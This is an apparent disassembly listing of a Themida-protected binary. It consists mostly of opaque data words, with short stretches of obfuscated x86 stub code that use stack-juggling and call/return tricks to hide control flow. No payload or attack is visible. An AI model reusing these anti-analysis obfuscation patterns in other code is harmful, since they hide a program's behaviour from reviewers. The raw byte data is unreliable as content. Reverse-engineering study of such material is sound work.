dword_5C005C dd 947EDB1h, 13762030h, 339C0211h, 538587A3h, 0D83107E1h
; DATA XREF: ___:off_444E8Co
dd 7D21F348h, 0F12E92D7h, 0B306A9C3h, 0DEFA8AD6h, 1135C0Ch
dd 1D36C11Ah, 4864F46Ch, 6ACBEBEh, 0A6FB8BE4h, 4EFB316Dh
dd 7F1BD9C5h, 5060AD3Ch, 7A57615h, 0A0C0000h, 61B15E94h
dd 0BB5A073Dh, 0F00ADE3h, 65AC598Fh, 1ACF0339h, 88BEE031h
dd 2F6539DBh, 0DA108E82h, 82B8E62Dh, 0DC3F5BB3h, 0A07E44Fh
dd 6CA7EDA4h, 0FB8EA732h, 83BF223Eh, 9481FFE6h, 15567F0Ah
dd 0A20B9380h, 3F69A939h, 0FD784035h, 37AB51CBh, 7E0DAB9h
dd 3596CC25h, 607C0C54h, 0FDEA0F5h, 0AD0292EBh, 84AD3866h
dd 26C7E30Ah, 650BBCB7h, 39B78CDh, 6FF320CDh, 292FBA3h
dd 0B643A6C2h, 1871FFEDh, 58FEA073h, 83DDACC5h, 0EB89B3F3h
dd 0CB832E51h, 0C82B47D7h, 0EEFFEDC4h, 377BEF95h, 1F07EB8Bh
dd 0AA138B8Ah, 504EC51Ah, 0F8A66D1Ah, 0A90C2868h, 0D707E109h
dd 2C45D87Eh, 4973035Dh, 8C0661C3h, 2E70A4C5h, 6B117AA3h
dd 0E755B7D3h, 0DD320FDAh, 0B4DD6836h, 0AE6CC50Eh, 999815F8h
dd 0BCFF9ED9h, 0F5000006h, 9A477D21h, 43F02678h, 0E996CCD2h
dd 95427826h, 0B8EC227Ch, 0A9F51C03h, 504EC673h, 0FBA36D1Ah
dd 0A3FB18C5h, 2A469E6Dh, 7E450C7h, 0F3D087EDh, 1E3ACA96h
dd 7E44AE2h, 0BE13A3FCh, 8FB94955h, 617F193Ch, 0D10FB50Ch
dd 509EEF24h, 0F5A968D1h, 0C2E66E7Bh, 0D4B5CE59h, 62E0FC8Ch
dd 800FDDF4h, 4FA16927h, 4F8A999Fh, 64EB0h, 0EBB36300h
dd 940A08B5h, 3A64B15Eh, 0E6B85704h, 900E03B0h, 8A71265Ah
dd 34E11787h, 0DB88BEE0h, 86336935h, 0CDB118Dh, 503598B4h
dd 0F55B07E4h, 0CA96F33Eh, 4BB31E3Ah, 0D83107E4h, 7F1FF348h
dd 1F3BCBF4h, 7E44ABCh, 53EB91EAh, 538915FEh, 0A6316DA6h
dd 0FD3DFC8Dh, 0E44A7EE1h, 0DF4BA407h, 7E44A7Ch, 63CB40AAh
dd 20D4CC0Eh, 0A2BE4EB7h, 0FE1955Eh, 4A9F2F88h, 227C99C9h
dd 3DD683B9h, 3186D661h, 0B718BEE0h, 0A9FE8ED2h, 0F48C326Ch
dd 0E13876D8h, 85439C07h, 9E62A2CFh, 0ACC2619Ch, 5000005h
dd 0AA578D11h, 53003668h, 0F9A6DCC2h, 0A5528816h, 0C8FC326Ch
dd 0B9E52C13h, 603ED683h, 0B937D2Ah, 0B3EB28D5h, 3A56AE7Dh
dd 7E451D7h, 0A7E097FDh, 42A7326Ch, 3697CDD1h, 5E40D153h
dd 0AF4965F5h, 0D307E0ADh, 7C95EA7Ah, 0AD7CDFFBh, 51AA07E0h
dd 8E345DE8h, 0AD68CFFBh, 0F17207E0h, 0B4F83037h, 5896406Eh
dd 27000000h, 3ACA96F3h, 304C2BE5h, 0FFE683CDh, 0A6319AF3h
dd 633BD87Dh, 7109AFD8h, 6A34DC31h, 9B8250C4h, 47A007E0h
dd 102C6CBCh, 7E09BADh, 60D47AD3h, 7E09AF9h, 0C6514DC3h
dd 65F0AE61h, 7119D30Ch, 0CAD18B0Ch, 406EA792h, 0F530h
dd 68B6E000h, 0D1D2AB5Fh, 0BCC98026h, 0C908B192h, 9EC7524Ch
dd 0FFD1AB24h, 0FB67AC59h, 0D2CC481Ah, 10750069h, 0CD0D9D01h
dd 0E6CB4EB1h, 9FFF10FFh, 51AAEB14h, 0AA3569ACh, 0E348DB81h
dd 9EDE6E30h, 0E6CB1F82h, 46EC45FFh, 30E63B3h, 41E7109Bh
dd 0DCF87F94h, 0FFE6CB79h, 0AFE54EA7h, 58BBD717h, 7EFFE6CBh
dd 950B7F25h, 0DDFFE6CFh, 85326836h, 6C85108Eh, 900E071Dh
dd 0E373DC05h, 0E0E3E1C7h, 7EB40D07h, 64F46C1Dh, 0DDC36C48h
dd 0B1419A0Fh, 3EF25571h, 0B5D1FFEDh, 0FFED3F52h, 8DE62780h
dd 17FA4FE7h, 6DA45187h, 0BBDF7331h, 4580999Eh, 442A6h
dd 0F7A76F00h, 0A0FE14C1h, 4658BD6Ah, 0F2AC6310h, 9C020FBCh
dd 967D3266h, 40ED237Bh, 0E794CAD4h, 923F7529h, 18E71D81h
dd 5241A4C0h, 96F07E4h, 346AA752h, 1166FEh, 0C84BF89Eh
dd 0BF28769Ah, 96F3D289h, 501E3ACAh, 4E07E09Ch, 0D73E6AF5h
dd 0E107E09Bh, 679FA660h, 5406EA7h, 0D7h, 326CA796h, 0CFCF42A7h
dd 87A21844h, 47CCFFE6h, 9F742157h, 0EF2F6FFFh, 0E68670D3h
dd 0D13D96FFh, 0FFE6866Eh, 2EB9E530h, 0C56BC405h, 86A2E232h
dd 0FFE68623h, 0F152F851h, 0F838C898h, 4D178EB8h, 0C8CB745Ah
dd 0E6C3F95Ch, 0FBD27FFh, 5D415200h, 12862C95h, 7E16C2Ch
dd 6ACB015Ah, 930B051Fh, 55A9A2Ah, 75E98F0Fh, 0FDE283Ah
dd 1C829328h, 6FFF6891h, 0F996F71Ah, 0FBBE3CA8h, 0C673A912h
dd 0AD102C4Bh, 0D3FFECF5h, 0F553117Ah, 56999E75h, 34D7C1Bh
dd 0B2640000h, 909B6ECh, 63B25F95h, 0B758053Bh, 0D04B1E7h
dd 72275B91h, 0E0168889h, 87BDE133h, 326836DAh, 0DA108E85h
dd 3497B30Bh, 6207E453h, 6AA745FCh, 838EF10Dh, 5BB4FFE6h
dd 40FBCF2h, 0A7AD649Ah, 801EF66Ch, 0FC3C8C17h, 0A7326CA7h
dd 83AF127Eh, 0A371FFE6h, 0BB61BAFBh, 6399050Eh, 0BBCE788Ah
dd 0F7F915A5h, 0DB07E089h, 7DBD4582h, 0E088FE61h, 88A42407h
dd 7E08925h, 0E389F24Bh, 15FFB06Fh, 4D1376ACh, 0E8287DBDh
dd 9A0411B6h, 0CC40E60Fh, 0ABB015DEh, 0E7B758ADh, 448D335Ch
dd 424760EBh, 0F94E8E1Eh, 0D4CA4B17h, 11B7E06Bh, 1979139Dh
dd 0A6368FACh, 0C2C57F7Ch, 36DC5988h, 0D4CA499Eh, 7C22F19Eh
dd 50C896BEh, 0DD7CB73Ah, 27Bh, 88BEE036h, 316737DBh, 0D70D9184h
dd 83B9E52Ah, 2D633BD6h, 0B65B44F9h, 0F05B2E8h, 64AC598Fh
dd 0BC57043Ah, 85DDACE2h, 0E4540669h, 0FC62C07h, 1BF66CA7h
dd 768F1A83h, 7DBD4D13h, 2BB6E828h, 66E85C02h, 4C07E0AEh
dd 0C8E4BDF3h, 288BA7E7h, 4E07E0ADh, 9BEE4FF5h, 171935C5h
dd 0BB0FDAB4h, 489D2562h, 2F92AEC9h, 55FFE6AFh, 0CE0893FCh
dd 4A3098EDh, 90359E6Dh, 5791F7Fh, 0BC75D59Ah, 77075930h
dd 25B0EE22h, 7EBE56FCh, 27B2EC29h, 12E458FEh, 40C46F31h
dd 4E2D57E7h, 0F0AE66F0h, 0E66B9276h, 0F594AD40h, 0EEB1DB6Bh
dd 301E31D4h, 1834CC72h, 0C358CD8Eh, 0EB2BBB14h, 0AEB06BC1h
dd 2DD3CF7Fh, 43CF9380h, 2A7D05Bh, 0D9028D11h, 868D3A70h
dd 42C05A18h, 0E492511h, 19A6Fh, 9FFF1700h, 4856BC69h
dd 0EEB06512h, 9A040BB8h, 445AB764h, 3E25DA0Eh, 0E895CBD3h
dd 8F3C722Ch, 3AE71D81h, 0C08FC5D9h, 54E94C68h, 0B11707E4h
dd 216CA7FAh, 463283EFh, 0A6319A41h, 0D464FC8Dh, 3A157894h
dd 0E23BFFE7h, 3E88A43Ch, 1507E16Bh, 0A54B53C0h, 35CD035Ch
dd 0DE6935E0h, 1B360FB5h, 0B8481871h, 0ADF12378h, 0F919307h
dd 0DC350FDBh, 8519F74Ch, 33369ADFh, 89B8D9F0h, 90D06000h
dd 0D8EF1174h, 6935DBB8h, 1B74B5DEh, 0EFC1DD75h, 0F3C0D30Fh
dd 93F60F9Ah, 97213DCDh, 0BC6EC73h, 46CD22B2h, 9E752258h
dd 0E8514DC4h, 6DE83E2Ah, 35D40F21h, 0E3h, 205648CEh, 0C9FF9F73h
dd 6FA5F91Ch, 1B514DC2h, 0C5FBA36Eh, 1EF3DC91h, 779D4A80h
dd 0CC44F127h, 24EF9CD2h, 1D75447Ah, 0E4569E01h, 0A75EC407h
dd 0A7326CA7h, 0D565FB8Eh, 61741EABh, 52C8EB85h, 652CA602h
dd 0FE14B9D6h, 2262FAA0h, 0CF63C6E2h, 8A58FFE6h, 0B82ECDDBh
dd 42E84182h, 0E0DFC8CEh, 679DF607h, 4DDD8306h, 0A1AD5E23h
dd 59FFDEABh, 9F5DA5C1h, 30890FDEh, 130055A5h, 0DB38E58Bh
dd 33E08DC3h, 52B4E06Bh, 283FBCDDh, 0C25135EFh, 1AF9A6DCh
dd 68D1CD48h, 0EA8D83D8h, 0AFDD6BCEh, 0D740993Fh, 0EA7D234Ch
dd 89148A85h, 4514CEF7h, 0EF7A24F0h, 0A07320C6h, 0F81BC8FEh
dd 0C7EC16A6h, 24FC0A3Eh, 130ABF3Fh, 4C06F899h, 107413A6h
dd 0D000000h, 0E63B7BBBh, 0A6097529h, 0CCFFE683h, 0A716CD73h
dd 3FA42F6Fh, 0DA3FCAD4h, 78DD6836h, 1277029Ch
dd 0AF149FFFh, 4CB13C62h, 0EB50DBC3h, 84E9742Ah, 5285108Eh
dd 264368h, 242C8900h, 0C581E589h, 4, 8704ED83h
; ---------------------------------------------------------------------------
sub al, 24h
pop esp
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], eax
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ecx
push ebx
mov ebx, 7FDC89Ch
push ebx
sub dword ptr [esp], 244F6722h
pop eax
add eax, 244F6722h
pop ebx
push esp
mov ecx, [esp]
add esp, 4
push 7872h
mov [esp], edx
mov edx, eax
mov [ecx+8], edx
pop edx
mov ecx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
mov eax, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_58B334
; ---------------------------------------------------------------------------
dw 759Ch
dd 0E4490693h, 0B8F7E0D5h, 7FDD42Fh, 0E0FFC503h, 7FF69749h
dd 29EAEF9Bh, 77BE1339h, 0F72FDB9h, 38DCAC68h, 7A4E8CFDh
dd 403CCDCh, 40B713Ch, 5D55422Fh, 317D1A7Ch, 395B361Bh
dd 2CA456FCh, 148E9h, 4800h, 4C00h, 5000h, 5400h, 5800h
dd 5C00h, 6000h, 6400h, 0A800h, 0AC00h, 0B000h, 0B400h
dd 0B800h, 0BC00h, 0C000h, 0C400h, 0C800h, 0CC00h, 0D000h
dd 0D400h, 0D800h, 0DC00h, 0E000h, 0E400h, 38h dup(0)
dd 5C09B500h, 0B2C20300h, 14858D00h, 0B707FDD5h, 548589F3h
dd 8B07FDD6h, 0FA25C9BDh, 6585C607h, 5407FA06h, 0C1952B60h
dd 8907FA02h, 0FA01A5B5h, 4E86107h, 29000000h, 0B2EE6268h
dd 665250C9h, 8B5FCA8Bh, 0E9042444h, 7, 0BE148DA4h, 8B36FBEDh
dd 89FE8B00h, 0E8042444h, 0Ah, 8C3DA57Dh, 0C5603CFFh, 830FACBEh
dd 0Fh, 9E8h, 7224A00h, 0CD504AB2h, 5F5F43A1h, 0B5FFFC58h
dd 7FA2095h, 7E8h, 32CEE900h, 0FA121DDh, 27B9958Bh, 8D5907FAh
dd 0FDA3DD85h, 0C88B6607h, 24BAD0FFh, 894EB9D4h, 0FDD65885h
dd 1BD2907h, 0E907FA1Eh, 3Bh, 8B56F1B5h, 0FDD654B5h, 83068907h
dd 0FDD65485h, 0C35E0407h, 14B58D60h, 0EB07FDD5h, 6A560Fh
dd 95FF36FFh, 7FDD658h, 4C6835Eh, 75003E83h, 0BFC361ECh
dd 612D3DD1h, 8DF98B66h, 0FDD72385h, 298D8B07h, 8907FA26h
dd 0FA312585h, 75E907h, 66600000h, 4A8D88Ch, 35840Fh, 16A0000h
dd 8A5B5FFh, 858D07FAh, 7FDA3DDh, 8589D0FFh, 7FA1ED1h
dd 0EFC1FE8Bh, 680Ch, 6A2004h, 6857026Ah, 1000Dh, 1ED195FFh
dd 32E907FAh, 0C6000000h, 0FA066585h, 0DF685607h, 0FFA9C530h
dd 0FA2095B5h, 0DD858D07h, 0FF07FDA3h, 5D8589D0h, 8D07FA26h
dd 0FA2A5585h, 206A5007h, 0FF56056Ah, 0FA265D95h, 0C1C36107h
dd 4FEB06E0h, 0FA251C8Fh, 0C6A108ABh, 1CA4ACDAh, 5C5CD2D4h
dd 34CE00E4h, 0CE1BF531h, 0D129B327h, 0C7DD5B34h, 0CE17E62Ah
dd 6734DF1Bh, 5600A6DBh, 9F0043A5h, 0DC80BAh, 54000000h
dd 0FEB41Bh, 0FBFE3400h, 87000000h, 2352DDB4h, 19ED920h
dd 0E97C809Eh, 1324h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 14h, 95C35343h, 33EDBD83h, 0F0007FAh, 3685h
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h
dd 0C3534300h, 0BA460DD9h, 8166A970h, 0B804FEF1h, 0
; ---------------------------------------------------------------------------
mov ch, dl
retn 4
; ---------------------------------------------------------------------------
mov edi, [ebp+7FA1CB1h]
mov eax, eax
pusha
and ebx, [ebp+7FA1191h]
mov edx, esi
popa
cmp dword ptr [ebp+7FA2ACDh], 0
jnz short loc_5C0CED
cmp dword ptr [ebp+7FA1899h], 0
jz short loc_5C0D00
loc_5C0CED: ; CODE XREF: Themida_:005C0CE2j
push eax
push ebx
mov eax, eax
mov eax, 4D0h
lea ebx, [ebp+7FCDFF8h]
call ebx ; _iob
pop ebx
pop eax
loc_5C0D00: ; CODE XREF: Themida_:005C0CEBj
cmp dword ptr [ebp+7FA1899h], 0
jz short loc_5C0D1A
push eax
push ebx
mov eax, 4D0h
lea ebx, [ebp+7FCDF45h]
call ebx ; _iob
pop ebx
pop eax
loc_5C0D1A: ; CODE XREF: Themida_:005C0D07j
mov ecx, 2FB34F6Eh
push 0
push edi
call sub_5C0D2A
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C0D2A proc near ; CODE XREF: Themida_:005C0D22p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_5C0D2A endp
; ---------------------------------------------------------------------------
dw 4067h
dd 0F2775E0Bh, 0D18D03E2h, 0E907FA0Dh, 9, 22D73B32h, 0A3E56BD2h
dd 64DF8138h, 8B38968Fh, 1E858DC0h, 6A07FDD8h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
dd 0EF14C350h, 60D799CAh, 3168F8D6h, 0FA0AD58Dh, 0C8B95007h
dd 89555163h, 0E7812404h, 11CE1A60h, 0D7DB858Dh, 666007FDh
dd 3E20E681h, 17CDBD01h, 906107FAh, 264BB966h, 90CA8B50h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 7BC35141h
dd 100C8AB9h, 95B34634h, 290595FFh, 0BD8B07FAh, 7FA3195h
dd 424448Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 16h, 3BC35040h, 0E2802E31h, 6858930h, 0F07FDD8h, 448BCBBFh
dd 6A0824h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
dd 50400000h, 0B809EDC3h, 12C1AE4Ah, 32A59503h, 858907FAh
dd 7FDD81Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Ah, 7AC35545h, 0FF968961h, 7E8CBC6h, 5F000000h, 0C1D52720h
dd 0EF8A406Fh, 21B58959h, 8307FA2Bh, 0FA24ADBDh, 850F0007h
dd 104h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 16h, 39C35343h, 830F45BCh, 5, 41560EBFh, 6585C61Eh
dd 4707FA06h, 5A41B966h, 0E5FF5E68h, 665250AAh, 0FD5B1BAh
dd 0CE831h, 29E90000h, 0FAA90101h, 0BFFCF2A1h, 5A5F26B4h
dd 24348158h, 7E7F588Ch, 2095B5FFh, 6A07FAh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1B0424h, 50400000h, 6539EFC3h
dd 4B1770A8h, 95BD893Ch, 8D07FA33h, 0FDA3DD85h, 56006A07h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
dd 66C7A697h, 0D0FFD68Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 14h, 0BAC35646h, 8944ED80h, 0FA24AD85h, 57006A07h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
dd 6226165Ch, 419C6932h, 0BD8BADA7h, 7FA1C21h, 2835BD83h
dd 0F0007FAh, 11985h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1A04h, 0C3504000h, 15749C26h, 803421C6h
dd 85C649F1h, 7FA0665h, 57006A47h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1804h, 0C3574700h, 340F9830h, 0AEF36827h
dd 0BA66D16Ah, 3481526Ah, 651B1124h, 53006A5Bh, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 4D97CBB1h
dd 6295915Dh, 66574C3Fh, 2FA8D781h, 95B5FF5Ah, 6A07FA20h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h
dd 47000000h, 0FB1AC357h, 8AF8E9F5h, 0DD858DD4h, 6A07FDA3h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h
dd 46000000h, 72B6C356h, 0DE97Ch, 37980000h, 2CE81997h
dd 3CAD011Dh, 0F55610Eh, 68Ah, 0F1BD8900h, 0FF07FA30h
dd 0BE8D0h, 564D0000h, 16058BCh, 4582BF1Ah, 5E856h, 13280000h
dd 52244735h, 895A5A59h, 0FA283585h, 0BD83F807h, 7FA0075h
dd 2B850F00h, 81000001h, 466373E1h, 6585C67Ah, 5607FA06h
dd 78B0C181h, 4E82BCDh, 39000000h, 50D41F6Dh, 12E9h, 0EECA3200h
dd 319D85D8h, 0EA613DF8h, 0A636EBAFh, 8B296570h, 60042444h
dd 2870Fh, 70B10000h, 0E9008B61h, 14h, 694095DFh, 3522A0D2h
dd 4F06B1D0h, 84BE6DEAh, 0C9A95EA5h, 4244489h, 6A604EBAh
dd 6A5857h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
dd 53430000h, 9D4F4FC3h, 9C1E2783h, 8910620Ch, 0FA24DDB5h
dd 0B5FFF807h, 7FA2095h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Bh, 0AC35646h, 0FCFB8351h, 60C48616h, 81610CB2h
dd 0A5FF67DAh, 0DD858D60h, 6A07FDA3h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8195C357h
dd 0DA562FD7h, 8BD0FF62h, 0FA2FA98Dh, 89BD2307h, 8907FA17h
dd 0FA007585h, 57006A07h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1B04h, 0C3574700h, 5F7D87E5h, 2F02C7A5h
dd 14958529h, 85C607FAh, 7FA0665h, 8E96Ch, 4CA40000h, 8B7D9B0Dh
dd 4B68CDCAh, 50EA7669h, 0FEAB652h, 5AF48A31h, 24348158h
dd 317319C8h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 15h, 0FCC35747h, 61958B06h, 6607FA14h, 0B5FFCE8Bh, 7FA08A5h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 7CC35242h
dd 63404F3Ch, 0F764258Ch, 0CD958BF9h, 8D07FA1Ch, 0FA3AE285h
dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h
dd 0C3554500h, 0B5EF4595h, 9ED34CDh, 0D0FFF5B8h, 48C38060h
dd 0AE961h, 8BB50000h, 53F94B02h, 712D7EEDh, 0D80A8589h
dd 8E907FDh, 0C1000000h, 6B06959Dh, 83117E09h, 0FDD826BDh
dd 850F0007h, 0FEh, 1364B966h, 66585C6h, 6A4907FAh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
dd 0B4C4C357h, 4E815h, 29E90000h, 0FDB18C15h, 8E86050h
dd 0FA000000h, 0ACF63B33h, 5E1ABFE2h, 10E9h, 0B2875400h
dd 502A6ECAh, 0BB776DEDh, 899E6C6Bh, 448B6145h, 60B50424h
dd 16B2008Bh, 4244489h, 1BB5BA53h, 585A06D3h, 10E9h, 146ACD00h
dd 53E3DF2Dh, 578145BFh, 67542B0Ah, 819589FEh, 0FF07FA08h
dd 0FA08A5B5h, 50006A07h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1B04h, 0C3504000h, 8F38A6AEh, 40794905h
dd 7B662FB9h, 0E2858D6Ah, 8107FA3Ah, 456288DFh, 6AD0FF4Dh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h
dd 46000000h, 4381C356h, 0D1431F53h, 81518B24h, 11EBBDE9h
dd 85895F0Eh, 7FDD826h, 0F259509h, 46A07FAh, 0E0816660h
dd 0BD8BFCBAh, 7FA2B11h, 3806861h, 8B60D0A7h, 0FE8CAh
dd 791C0000h, 9B46CC1Dh, 54967C3Ch, 2DA5AD60h, 0CA8B66E6h
dd 481615Ah, 590C8024h, 50006A2Fh, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1804h, 0C3504000h, 0E73C5482h, 0D68F5C7h
dd 573F7248h, 0D31D01BAh, 34815F14h, 73480D24h, 2D95013Fh
dd 6A07FA31h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1604h, 0C3504000h, 0FF5DF18Eh, 0FA2A3595h, 55006A07h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
dd 85F74023h, 7FCD8E12h, 69BF86E6h, 0B6664B9Fh, 16858996h
dd 2907FDD8h, 0FA1625BDh, 0E85C707h, 7FDD8h, 6A000000h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h
dd 41000000h, 0F2CC351h, 685h, 55E78100h, 6A5019BAh, 619D8900h
dd 6807FA2Fh, 0D46F25CAh, 66A7B560h, 61B7D7BFh, 36240481h
dd 6A2B91DAh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 15042444h, 46000000h, 6C56C356h, 0BFC8D9B9h, 0E9B50909h
dd 9007FA2Ah, 0EAD305BAh, 11E95018h, 40000000h, 0B2DDDD36h
dd 82AB5278h, 3BF1C4F9h, 7B1918ECh, 55006A90h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0CF8B66ADh
dd 0BF660B6Ah, 858DC2C0h, 7FDD7E3h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ch, 0E6C35040h, 87ED7281h, 0E91A2335h
dd 30F9B589h, 0D08B07FAh, 12D28166h, 0CA8B905Ah, 0D1BA6650h
dd 958B9037h, 7FA1C71h, 24AD95FFh, 6A07FAh, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0B9FF4C3h
dd 668A31DFh, 0BD0BD38Bh, 7FA1F4Dh, 0D7EDB58Dh, 0B59607FDh
dd 52505016h, 5F616052h, 0D58A310Fh, 0F96585Ah, 5050CFBFh
dd 8B666052h, 0A69ABFD9h, 0F611EE6h, 5AD1B631h, 24048958h
dd 287DBD8Bh, 95FF07FAh, 7FA2835h, 0BFEB70Fh, 42850FC0h
dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1D042444h, 47000000h, 0E6A8C357h, 0C85DDAE9h, 0D6FE16C4h
dd 31658D89h, 84E907FAh, 0E9000006h, 0Dh, 0C15E4D9Eh, 0B6FA8C22h
dd 1897F0A6h, 6AD0FFDAh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 17042444h, 45000000h, 32D3C355h, 0B58BAD90h
dd 7FDD816h, 2DE9BD89h, 468D07FAh, 4840F20h, 60000000h
dd 6A615952h, 0BA666004h, 8166D57Fh, 61CBE1D6h, 60525050h
dd 310F5250h, 0F78A585Ah, 5A310F61h, 24048958h, 0AABE6660h
dd 518529FFh, 6107FA22h, 6258589h, 95FF07FAh, 7FDD826h
dd 2BDDBD29h, 0C00B07FAh, 67840Fh, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 160424h, 52420000h, 8F30A1C3h
dd 2DB58B60h, 0F07FA2Bh, 689h, 698D8B00h, 6107FA1Fh, 0C8BF0F50h
dd 5B5E95Ah, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1D0424h, 57470000h, 956524C3h, 18BFF09Eh, 8B185E72h
dd 0FA07B58Dh, 207E8007h, 80840F00h, 66000005h, 56C6E981h
dd 5800F60h, 0B9000000h, 2514405Dh, 6A20468Dh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
dd 5266C351h, 0EE943B79h, 73C67742h, 18F59D89h, 0DE907FAh
dd 0
dd 3BBCA79Ah, 0FE06AE09h, 7AC95546h, 0D8128589h, 0B70F07FDh
dd 127E9FEh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1D0424h, 57470000h, 0CFE8E2C3h, 0B20379CAh, 40AC0A2Eh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 92C35343h
dd 9712E400h, 0BC98589h, 605007FAh, 4F46B966h, 800Fh, 89610000h
dd 23602404h, 0FA223585h, 0F3BF0F07h, 6A046A61h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
dd 0C75AC353h, 34406A71h, 61858936h, 9007FA21h, 693B5FBAh
dd 8B665018h, 6A90CEh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1B0424h, 53430000h, 6A5C55C3h, 9BE9D90Dh, 9DBD8B99h
dd 0FF07FA25h, 0FDD82695h, 2D8D8B07h, 8B07FA24h, 0FA30C58Dh
dd 60D88B07h, 2655BD8Bh, 61FC07FAh, 50006A58h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1D04h, 0C3504000h, 0D2694095h
dd 0D03522A0h, 858906B1h, 7FA3295h, 840FDB0Bh, 11h, 2C5BD0Bh
dd 0E907FAh, 29000004h, 0FA18FD85h, 388007h, 0FEF5850Fh
dd 8166FFFFh, 0E9D767C7h, 2Fh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ah, 0B0C35040h, 96609708h, 0DA81DE10h
dd 5E410168h, 81B58948h, 3B07FA2Dh, 0FDD81285h, 4B820F07h
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 19042444h, 41000000h, 0C4F1C351h, 0F47D629h, 1D1D8D8Bh
dd 388007FAh, 1B840F5Ch, 81000000h, 59B429C2h, 0B5BD8B5Ah
dd 8007FA2Eh, 850F2F38h, 0FFFFFFA8h, 209D952Bh, 0F4007FAh
dd 0BD83D7BFh, 7FDD81Ah, 67840F00h, 6A000001h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
dd 0B299C356h, 0F20C8C7Ch, 0F8D0F50h, 0E8000000h, 5, 0A35F4BB8h
dd 8DBF66BAh, 48959F1h, 9E824h, 0F30D0000h, 4F9B87E3h
dd 534148A9h, 2F91BD8Bh, 5F5907FAh, 0D81A8503h, 958907FDh
dd 7FA222Dh, 0C8BA6650h, 240489BCh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 17h, 41C35242h, 0BA7AC42Ch, 4E1BB238h
dd 6A046Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
dd 53430000h, 0EB0615C3h, 0E950035Fh, 5, 3F3D560Ch, 24048971h
dd 14799503h, 95FF07FAh, 7FDD826h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ch, 0A1C35646h, 0C56EFF2Eh, 803D51BCh
dd 68E0Fh, 9D010000h, 7FA2C9Dh, 2BD88BFCh, 0FA2DE9BDh
dd 8B665807h, 159523C8h, 0B07FA10h, 24840FDBh, 6A000000h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h
dd 46000000h, 67FEC356h, 1CE93178h, 0C6000002h, 6A0000h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
dd 295776C3h, 0E4F96257h, 6DBA5845h, 5848F5CFh, 1E7D9D89h
dd 539007FAh, 8B66505Ah, 816690FEh, 6AEDF8D2h, 57006A1Eh
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
